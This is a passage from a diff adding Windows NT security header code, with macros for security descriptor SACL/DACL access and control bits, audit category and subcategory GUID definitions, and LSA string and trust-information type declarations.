((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl) \ + ) : \ + (PACL)((SD)->Sacl) \ + ) \ + ) + +#define RtlpDaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_DACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl) \ + ) : \ + (PACL)((SD)->Dacl) \ + ) \ + ) + + +// +// Macro to determine if the given ID has the owner attribute set, +// which means that it may be assignable as an owner +// The GroupSid should not be marked for UseForDenyOnly. +// + +#define RtlpIdAssignableAsOwner( G ) \ + ( (((G).Attributes & SE_GROUP_OWNER) != 0) && \ + (((G).Attributes & SE_GROUP_USE_FOR_DENY_ONLY) == 0) ) + +// +// Macro to copy the state of the passed bits from the old security +// descriptor (OldSD) into the Control field of the new one (NewSD) +// + +#define RtlpPropagateControlBits( NewSD, OldSD, Bits ) \ + ( NewSD )->Control |= \ + ( \ + ( OldSD )->Control & ( Bits ) \ + ) + + +// +// Macro to query whether or not the passed set of bits are ALL on +// or not (ie, returns FALSE if some are on and not others) +// + +#define RtlpAreControlBitsSet( SD, Bits ) \ + (BOOLEAN) \ + ( \ + (( SD )->Control & ( Bits )) == ( Bits ) \ + ) + +// +// Macro to set the passed control bits in the given Security Descriptor +// + +#define RtlpSetControlBits( SD, Bits ) \ + ( \ + ( SD )->Control |= ( Bits ) \ + ) + +// +// Macro to clear the passed control bits in the given Security Descriptor +// + +#define RtlpClearControlBits( SD, Bits ) \ + ( \ + ( SD )->Control &= ~( Bits ) \ + ) + + +// +// Local Security Authority APIs. +// + +#ifdef DEFINE_GUID + +/* 0cce9210-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecurityStateChange_defined) + DEFINE_GUID( + Audit_System_SecurityStateChange, + 0x0cce9210, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecurityStateChange_defined + #endif +#endif + +/* 0cce9211-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecuritySubsystemExtension_defined) + DEFINE_GUID( + Audit_System_SecuritySubsystemExtension, + 0x0cce9211, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecuritySubsystemExtension_defined + #endif +#endif + +/* 0cce9212-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Integrity_defined) + DEFINE_GUID( + Audit_System_Integrity, + 0x0cce9212, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Integrity_defined + #endif +#endif + +/* 0cce9213-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_IPSecDriverEvents_defined) + DEFINE_GUID( + Audit_System_IPSecDriverEvents, + 0x0cce9213, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_IPSecDriverEvents_defined + #endif +#endif + +/* 0cce9214-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Others_defined) + DEFINE_GUID( + Audit_System_Others, + 0x0cce9214, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Others_defined + #endif +#endif + +/* 0cce9215-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logon_defined) + DEFINE_GUID( + Audit_Logon_Logon, + 0x0cce9215, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logon_defined + #endif +#endif + +/* 0cce9216-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logoff_defined) + DEFINE_GUID( + Audit_Logon_Logoff, + 0x0cce9216, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logoff_defined + #endif +#endif + +/* 0cce9217-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_AccountLockout_defined) + DEFINE_GUID( + Audit_Logon_AccountLockout, + 0x0cce9217, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_AccountLockout_defined + #endif +#endif + +/* 0cce9218-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecMainMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecMainMode, + 0x0cce9218, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecMainMode_defined + #endif +#endif + +/* 0cce9219-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecQuickMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecQuickMode, + 0x0cce9219, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecQuickMode_defined + #endif +#endif + +/* 0cce921a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecUserMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecUserMode, + 0x0cce921a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecUserMode_defined + #endif +#endif + +/* 0cce921b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_SpecialLogon_defined) + DEFINE_GUID( + Audit_Logon_SpecialLogon, + 0x0cce921b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_SpecialLogon_defined + #endif +#endif + +/* 0cce921c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Others_defined) + DEFINE_GUID( + Audit_Logon_Others, + 0x0cce921c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Others_defined + #endif +#endif + +/* 0cce921d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FileSystem_defined) + DEFINE_GUID( + Audit_ObjectAccess_FileSystem, + 0x0cce921d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FileSystem_defined + #endif +#endif + +/* 0cce921e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Registry_defined) + DEFINE_GUID( + Audit_ObjectAccess_Registry, + 0x0cce921e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Registry_defined + #endif +#endif + +/* 0cce921f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Kernel_defined) + DEFINE_GUID( + Audit_ObjectAccess_Kernel, + 0x0cce921f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Kernel_defined + #endif +#endif + +/* 0cce9220-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Sam_defined) + DEFINE_GUID( + Audit_ObjectAccess_Sam, + 0x0cce9220, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Sam_defined + #endif +#endif + +/* 0cce9221-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_CertificationServices_defined) + DEFINE_GUID( + Audit_ObjectAccess_CertificationServices, + 0x0cce9221, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_CertificationServices_defined + #endif +#endif + +/* 0cce9222-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_ApplicationGenerated_defined) + DEFINE_GUID( + Audit_ObjectAccess_ApplicationGenerated, + 0x0cce9222, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_ApplicationGenerated_defined + #endif +#endif + +/* +The Audit_ObjectAccess_Handle sub-category behaves different from the other sub-categories. +For handle based audits to be generated (Open handle AuditId: 0x1230, Close handle AuditId: +0x1232), the corresponding object sub-category AND Audit_ObjectAccess_Handle must be +enabled. For eg, to generate handle based audits for Reg keys, both +Audit_ObjectAccess_Registry and Audit_ObjectAccess_Handle must be enabled +*/ + +/* 0cce9223-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Handle_defined) + DEFINE_GUID( + Audit_ObjectAccess_Handle, + 0x0cce9223, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Handle_defined + #endif +#endif + +/* 0cce9224-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Share_defined) + DEFINE_GUID( + Audit_ObjectAccess_Share, + 0x0cce9224, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Share_defined + #endif +#endif + +/* 0cce9225-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallPacketDrops_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallPacketDrops, + 0x0cce9225, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallPacketDrops_defined + #endif +#endif + +/* 0cce9226-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallConnection_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallConnection, + 0x0cce9226, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallConnection_defined + #endif +#endif + +/* 0cce9227-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Other_defined) + DEFINE_GUID( + Audit_ObjectAccess_Other, + 0x0cce9227, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Other_defined + #endif +#endif + +/* 0cce9228-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Sensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Sensitive, + 0x0cce9228, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Sensitive_defined + #endif +#endif + +/* 0cce9229-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_NonSensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_NonSensitive, + 0x0cce9229, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_NonSensitive_defined + #endif +#endif + +/* 0cce922a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Others_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Others, + 0x0cce922a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Others_defined + #endif +#endif + +/* 0cce922b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessCreation_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessCreation, + 0x0cce922b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessCreation_defined + #endif +#endif + +/* 0cce922c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessTermination_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessTermination, + 0x0cce922c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessTermination_defined + #endif +#endif + +/* 0cce922d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_DpapiActivity_defined) + DEFINE_GUID( + Audit_DetailedTracking_DpapiActivity, + 0x0cce922d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_DpapiActivity_defined + #endif +#endif + +/* 0cce922e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_RpcCall_defined) + DEFINE_GUID( + Audit_DetailedTracking_RpcCall, + 0x0cce922e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_RpcCall_defined + #endif +#endif + +/* 0cce922f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuditPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuditPolicy, + 0x0cce922f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuditPolicy_defined + #endif +#endif + +/* 0cce9230-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthenticationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthenticationPolicy, + 0x0cce9230, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthenticationPolicy_defined + #endif +#endif + +/* 0cce9231-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthorizationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthorizationPolicy, + 0x0cce9231, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthorizationPolicy_defined + #endif +#endif + +/* 0cce9232-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_MpsscvRulePolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_MpsscvRulePolicy, + 0x0cce9232, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_MpsscvRulePolicy_defined + #endif +#endif + +/* 0cce9233-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_WfpIPSecPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_WfpIPSecPolicy, + 0x0cce9233, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_WfpIPSecPolicy_defined + #endif +#endif + +/* 0cce9234-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_Others_defined) + DEFINE_GUID( + Audit_PolicyChange_Others, + 0x0cce9234, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_Others_defined + #endif +#endif + +/* 0cce9235-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_UserAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_UserAccount, + 0x0cce9235, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_UserAccount_defined + #endif +#endif + +/* 0cce9236-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ComputerAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_ComputerAccount, + 0x0cce9236, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ComputerAccount_defined + #endif +#endif + +/* 0cce9237-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_SecurityGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_SecurityGroup, + 0x0cce9237, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_SecurityGroup_defined + #endif +#endif + +/* 0cce9238-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_DistributionGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_DistributionGroup, + 0x0cce9238, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_DistributionGroup_defined + #endif +#endif + +/* 0cce9239-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ApplicationGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_ApplicationGroup, + 0x0cce9239, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ApplicationGroup_defined + #endif +#endif + +/* 0cce923a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_Others_defined) + DEFINE_GUID( + Audit_AccountManagement_Others, + 0x0cce923a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_Others_defined + #endif +#endif + +/* 0cce923b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DSAccess_DSAccess_defined) + DEFINE_GUID( + Audit_DSAccess_DSAccess, + 0x0cce923b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DSAccess_DSAccess_defined + #endif +#endif + +/* 0cce923c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DsAccess_AdAuditChanges_defined) + DEFINE_GUID( + Audit_DsAccess_AdAuditChanges, + 0x0cce923c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DsAccess_AdAuditChanges_defined + #endif +#endif + +/* 0cce923d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_Replication_defined) + DEFINE_GUID( + Audit_Ds_Replication, + 0x0cce923d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_Replication_defined + #endif +#endif + +/* 0cce923e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_DetailedReplication_defined) + DEFINE_GUID( + Audit_Ds_DetailedReplication, + 0x0cce923e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_DetailedReplication_defined + #endif +#endif + +/* 0cce923f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_CredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_CredentialValidation, + 0x0cce923f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_CredentialValidation_defined + #endif +#endif + +/* 0cce9240-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Kerberos_defined) + DEFINE_GUID( + Audit_AccountLogon_Kerberos, + 0x0cce9240, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Kerberos_defined + #endif +#endif + +/* 0cce9241-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Others_defined) + DEFINE_GUID( + Audit_AccountLogon_Others, + 0x0cce9241, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Others_defined + #endif +#endif + +/* 0cce9242-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_KerbCredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_KerbCredentialValidation, + 0x0cce9242, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_KerbCredentialValidation_defined + #endif +#endif + +/* 0cce9243-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_NPS_defined) + DEFINE_GUID( + Audit_Logon_NPS, + 0x0cce9243, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_NPS_defined + #endif +#endif + +/* 0cce9244-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_DetailedFileShare_defined) + DEFINE_GUID( + Audit_ObjectAccess_DetailedFileShare, + 0x0cce9244, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_DetailedFileShare_defined + #endif +#endif + +#endif // DEFINE_GUID + + +// +// All categories are named as +// + +#ifdef DEFINE_GUID + +/* 69979848-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_defined) + DEFINE_GUID( + Audit_System, + 0x69979848, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_defined + #endif +#endif + +/* 69979849-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_defined) + DEFINE_GUID( + Audit_Logon, + 0x69979849, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_defined + #endif +#endif + +/* 6997984a-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_defined) + DEFINE_GUID( + Audit_ObjectAccess, + 0x6997984a, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_defined + #endif +#endif + +/* 6997984b-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_defined) + DEFINE_GUID( + Audit_PrivilegeUse, + 0x6997984b, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_defined + #endif +#endif + +/* 6997984c-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_defined) + DEFINE_GUID( + Audit_DetailedTracking, + 0x6997984c, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_defined + #endif +#endif + +/* 6997984d-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_defined) + DEFINE_GUID( + Audit_PolicyChange, + 0x6997984d, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_defined + #endif +#endif + +/* 6997984e-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_defined) + DEFINE_GUID( + Audit_AccountManagement, + 0x6997984e, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_defined + #endif +#endif + +/* 6997984f-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DirectoryServiceAccess_defined) + DEFINE_GUID( + Audit_DirectoryServiceAccess, + 0x6997984f, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DirectoryServiceAccess_defined + #endif +#endif + +/* 69979850-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_defined) + DEFINE_GUID( + Audit_AccountLogon, + 0x69979850, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_defined + #endif +#endif + +#endif // DEFINE_GUID + +// 04.06.2011 - added +#if !defined(_NTLSA_IFS_) +#define _NTLSA_IFS_ + +#if !defined(_LSALOOKUP_) +#define _LSALOOKUP_ + +#if defined(_NTDEF_) + +typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; +typedef STRING LSA_STRING, *PLSA_STRING; +typedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#else // _NTDEF_ + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength/2), length_is(Length/2)] +#endif // MIDL_PASS + PWSTR Buffer; +} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; + +typedef struct _LSA_STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} LSA_STRING, *PLSA_STRING; + +typedef struct _LSA_OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PLSA_UNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE +} LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#endif // _NTDEF_ + +typedef struct _LSA_TRUST_INFORMATION { + LSA_UNICODE_STRING Name; // The name of the domain + PSID Sid; // ptr to domain Sid +} LSA_TRUST_INFORMATION, *PLSA_TRUST_INFORMATION; + +typedef struct _LSA_REFERENCED_DOMAIN_LIST { + ULONG Entries; // count of domains in domain array + PLSA_TRUST_INFORMATION Domains; // pointer to array LSA_TRUST_INFORMATION data +} LSA_REFERENCED_DOMAIN_LIST, *PLSA_REFERENCED_DOMAIN_LIST; + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _LSA_TRANSLATED_SID2 { + SID_NAME_USE Use; + PSID Sid; + LONG 